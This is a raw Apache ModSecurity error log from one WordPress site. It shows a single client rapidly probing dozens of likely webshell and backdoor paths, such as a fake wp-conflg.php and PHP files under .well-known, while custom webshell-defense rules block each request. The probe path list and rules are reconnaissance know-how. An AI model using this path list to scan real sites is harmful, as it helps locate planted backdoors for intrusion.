[Sun Dec 14 01:36:25.644326 2025] [:error] [pid 3636:tid 3707] [client 4.193.251.36:24111] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12wudscz.php"] [unique_id "aT2kGd4pNg3LXPqKgeY69gAAAQ8"]
[Sun Dec 14 01:36:25.818135 2025] [:error] [pid 14689:tid 14698] [client 4.193.251.36:24127] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12wudscz.php"] [unique_id "aT2kGUEcifvaa9I7SnmAkAAAAUU"]
[Sun Dec 14 01:36:25.992011 2025] [:error] [pid 14654:tid 14677] [client 4.193.251.36:24147] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12wudscz.php"] [unique_id "aT2kGTqZP_N7tgSGeZcxvAAAABQ"]
[Sun Dec 14 01:36:26.165999 2025] [:error] [pid 14654:tid 14672] [client 4.193.251.36:24091] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/admin.php"] [unique_id "aT2kGjqZP_N7tgSGeZcxvgAAAA8"]
[Sun Dec 14 01:36:26.339671 2025] [:error] [pid 14654:tid 14676] [client 4.193.251.36:24071] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/admin.php"] [unique_id "aT2kGjqZP_N7tgSGeZcxvwAAABM"]
[Sun Dec 14 01:36:26.515589 2025] [:error] [pid 14654:tid 14658] [client 4.193.251.36:24082] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/admin.php"] [unique_id "aT2kGjqZP_N7tgSGeZcxwAAAAAE"]
[Sun Dec 14 01:36:26.688915 2025] [:error] [pid 14689:tid 14714] [client 4.193.251.36:24145] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/admin.php"] [unique_id "aT2kGkEcifvaa9I7SnmAkgAAAVU"]
[Sun Dec 14 01:36:26.862376 2025] [:error] [pid 3634:tid 3638] [client 4.193.251.36:24088] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aT2kGobt-wTl4d7Q7qp9agAAAEA"]
[Sun Dec 14 01:36:27.037412 2025] [:error] [pid 3634:tid 3654] [client 4.193.251.36:24167] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/background-image-cropper/plugins.php"] [unique_id "aT2kG4bt-wTl4d7Q7qp9awAAAFA"]
[Sun Dec 14 01:36:27.211777 2025] [:error] [pid 3634:tid 3657] [client 4.193.251.36:24121] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/background-image-cropper/plugins.php"] [unique_id "aT2kG4bt-wTl4d7Q7qp9bAAAAFM"]
[Sun Dec 14 01:36:27.386275 2025] [:error] [pid 3720:tid 3738] [client 4.193.251.36:6107] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/background-image-cropper/plugins.php"] [unique_id "aT2kG-7_sgsCEY5RMYrixAAAAJA"]
[Sun Dec 14 01:36:27.562095 2025] [:error] [pid 14654:tid 14663] [client 4.193.251.36:24069] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aT2kGzqZP_N7tgSGeZcxwQAAAAY"]
[Sun Dec 14 01:36:27.736372 2025] [:error] [pid 3634:tid 3639] [client 4.193.251.36:24160] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aT2kG4bt-wTl4d7Q7qp9bgAAAEE"]
[Sun Dec 14 01:36:27.910697 2025] [:error] [pid 3634:tid 3652] [client 4.193.251.36:24093] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aT2kG4bt-wTl4d7Q7qp9bwAAAE4"]
[Sun Dec 14 01:36:28.084707 2025] [:error] [pid 14689:tid 14707] [client 4.193.251.36:24068] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aT2kHEEcifvaa9I7SnmAlQAAAU4"]
[Sun Dec 14 01:36:28.258678 2025] [:error] [pid 14654:tid 14659] [client 4.193.251.36:24074] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/wp-login.php"] [unique_id "aT2kHDqZP_N7tgSGeZcxwgAAAAI"]
[Sun Dec 14 01:36:28.433831 2025] [:error] [pid 14654:tid 14666] [client 4.193.251.36:24142] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/users.php"] [unique_id "aT2kHDqZP_N7tgSGeZcxwwAAAAk"]
[Sun Dec 14 01:36:28.608629 2025] [:error] [pid 3720:tid 3723] [client 4.193.251.36:24180] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/users.php"] [unique_id "aT2kHO7_sgsCEY5RMYrixgAAAIE"]
[Sun Dec 14 01:36:28.783502 2025] [:error] [pid 3720:tid 3737] [client 4.193.251.36:24123] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/users.php"] [unique_id "aT2kHO7_sgsCEY5RMYrixwAAAI8"]
[Sun Dec 14 01:36:28.961695 2025] [:error] [pid 3720:tid 3727] [client 4.193.251.36:24172] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aT2kHO7_sgsCEY5RMYriyAAAAIU"]
[Sun Dec 14 01:36:29.136430 2025] [:error] [pid 3636:tid 3695] [client 4.193.251.36:24190] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aT2kHd4pNg3LXPqKgeY6-AAAAQM"]
[Sun Dec 14 01:36:29.311912 2025] [:error] [pid 3720:tid 3746] [client 4.193.251.36:6092] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/about.php"] [unique_id "aT2kHe7_sgsCEY5RMYriygAAAJg"]
[Sun Dec 14 01:36:29.487746 2025] [:error] [pid 3634:tid 3645] [client 4.193.251.36:6113] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/about.php"] [unique_id "aT2kHYbt-wTl4d7Q7qp9cgAAAEc"]
[Sun Dec 14 01:36:29.661816 2025] [:error] [pid 3720:tid 3736] [client 4.193.251.36:24170] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/about.php"] [unique_id "aT2kHe7_sgsCEY5RMYriywAAAI4"]
[Sun Dec 14 01:36:29.835519 2025] [:error] [pid 3636:tid 3711] [client 4.193.251.36:24078] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT2kHd4pNg3LXPqKgeY6-QAAARM"]
[Sun Dec 14 01:36:30.009223 2025] [:error] [pid 14654:tid 14670] [client 4.193.251.36:6109] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT2kHjqZP_N7tgSGeZcxxQAAAA0"]
[Sun Dec 14 01:36:30.182834 2025] [:error] [pid 14654:tid 14668] [client 4.193.251.36:6096] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT2kHjqZP_N7tgSGeZcxxgAAAAs"]
[Sun Dec 14 01:36:30.357877 2025] [:error] [pid 3636:tid 3704] [client 4.193.251.36:6130] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT2kHt4pNg3LXPqKgeY6-gAAAQw"]
[Sun Dec 14 01:36:30.532749 2025] [:error] [pid 3636:tid 3702] [client 4.193.251.36:24187] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aT2kHt4pNg3LXPqKgeY6-wAAAQo"]
[Sun Dec 14 01:36:30.707289 2025] [:error] [pid 14654:tid 14679] [client 4.193.251.36:24075] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aT2kHjqZP_N7tgSGeZcxxwAAABY"]
[Sun Dec 14 01:36:30.881518 2025] [:error] [pid 14654:tid 14667] [client 4.193.251.36:24135] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aT2kHjqZP_N7tgSGeZcxyAAAAAo"]
[Sun Dec 14 01:36:31.055635 2025] [:error] [pid 14654:tid 14675] [client 4.193.251.36:6030] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aT2kHzqZP_N7tgSGeZcxyQAAABI"]
[Sun Dec 14 01:36:31.229729 2025] [:error] [pid 14654:tid 14673] [client 4.193.251.36:24072] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/content.php"] [unique_id "aT2kHzqZP_N7tgSGeZcxygAAABA"]
[Sun Dec 14 01:36:31.403625 2025] [:error] [pid 14654:tid 14662] [client 4.193.251.36:24178] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/content.php"] [unique_id "aT2kHzqZP_N7tgSGeZcxywAAAAU"]
[Sun Dec 14 01:36:31.577451 2025] [:error] [pid 3634:tid 3651] [client 4.193.251.36:24158] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/content.php"] [unique_id "aT2kH4bt-wTl4d7Q7qp9cwAAAE0"]
[Sun Dec 14 01:36:31.751403 2025] [:error] [pid 14654:tid 14660] [client 4.193.251.36:6087] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/content.php"] [unique_id "aT2kHzqZP_N7tgSGeZcxzAAAAAM"]
[Sun Dec 14 01:36:31.925068 2025] [:error] [pid 3634:tid 3648] [client 4.193.251.36:24109] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/chosen.php"] [unique_id "aT2kH4bt-wTl4d7Q7qp9dQAAAEo"]
[Sun Dec 14 01:36:32.099804 2025] [:error] [pid 3635:tid 3669] [client 4.193.251.36:24104] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/parx.php"] [unique_id "aT2kIDqfhzW7OpfKxKzqewAAAMQ"]
[Sun Dec 14 01:36:32.273126 2025] [:error] [pid 3720:tid 3742] [client 4.193.251.36:6118] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/parx.php"] [unique_id "aT2kIO7_sgsCEY5RMYrizAAAAJQ"]
[Sun Dec 14 01:36:32.446745 2025] [:error] [pid 14654:tid 14665] [client 4.193.251.36:24188] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/parx.php"] [unique_id "aT2kIDqZP_N7tgSGeZcxzQAAAAg"]
[Sun Dec 14 01:36:32.623288 2025] [:error] [pid 14654:tid 14677] [client 4.193.251.36:24079] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php"] [unique_id "aT2kIDqZP_N7tgSGeZcxzgAAABQ"]
[Sun Dec 14 01:36:32.798635 2025] [:error] [pid 14689:tid 14694] [client 4.193.251.36:24081] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aT2kIEEcifvaa9I7SnmAlwAAAUE"]
[Sun Dec 14 01:36:32.973627 2025] [:error] [pid 3635:tid 3681] [client 4.193.251.36:24191] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aT2kIDqfhzW7OpfKxKzqfAAAANA"]
[Sun Dec 14 01:36:33.147807 2025] [:error] [pid 14689:tid 14696] [client 4.193.251.36:24110] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aT2kIUEcifvaa9I7SnmAmAAAAUM"]
[Sun Dec 14 01:36:33.322043 2025] [:error] [pid 14654:tid 14664] [client 4.193.251.36:6035] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aT2kITqZP_N7tgSGeZcx0QAAAAc"]
[Sun Dec 14 01:36:33.495543 2025] [:error] [pid 14689:tid 14712] [client 4.193.251.36:24120] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aT2kIUEcifvaa9I7SnmAmQAAAVM"]
[Sun Dec 14 01:36:33.669747 2025] [:error] [pid 14689:tid 14717] [client 4.193.251.36:6137] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aT2kIUEcifvaa9I7SnmAmgAAAVg"]
[Sun Dec 14 01:36:33.844050 2025] [:error] [pid 14689:tid 14715] [client 4.193.251.36:6090] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aT2kIUEcifvaa9I7SnmAmwAAAVY"]
[Sun Dec 14 01:36:34.018250 2025] [:error] [pid 3635:tid 3674] [client 4.193.251.36:24157] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aT2kIjqfhzW7OpfKxKzqfQAAAMk"]
[Sun Dec 14 01:36:34.192784 2025] [:error] [pid 3635:tid 3665] [client 4.193.251.36:6141] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aT2kIjqfhzW7OpfKxKzqfgAAAMA"]
[Sun Dec 14 01:36:34.367352 2025] [:error] [pid 14654:tid 14676] [client 4.193.251.36:24076] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aT2kIjqZP_N7tgSGeZcx0gAAABM"]
[Sun Dec 14 01:36:34.543198 2025] [:error] [pid 3634:tid 3641] [client 4.193.251.36:6028] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aT2kIobt-wTl4d7Q7qp9dgAAAEM"]
[Sun Dec 14 01:36:34.717941 2025] [:error] [pid 14654:tid 14658] [client 4.193.251.36:24171] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aT2kIjqZP_N7tgSGeZcx0wAAAAE"]
[Sun Dec 14 01:36:34.891930 2025] [:error] [pid 3634:tid 3643] [client 4.193.251.36:24125] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aT2kIobt-wTl4d7Q7qp9dwAAAEU"]
[Sun Dec 14 01:36:35.066174 2025] [:error] [pid 3636:tid 3716] [client 4.193.251.36:6131] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aT2kI94pNg3LXPqKgeY6_AAAARg"]
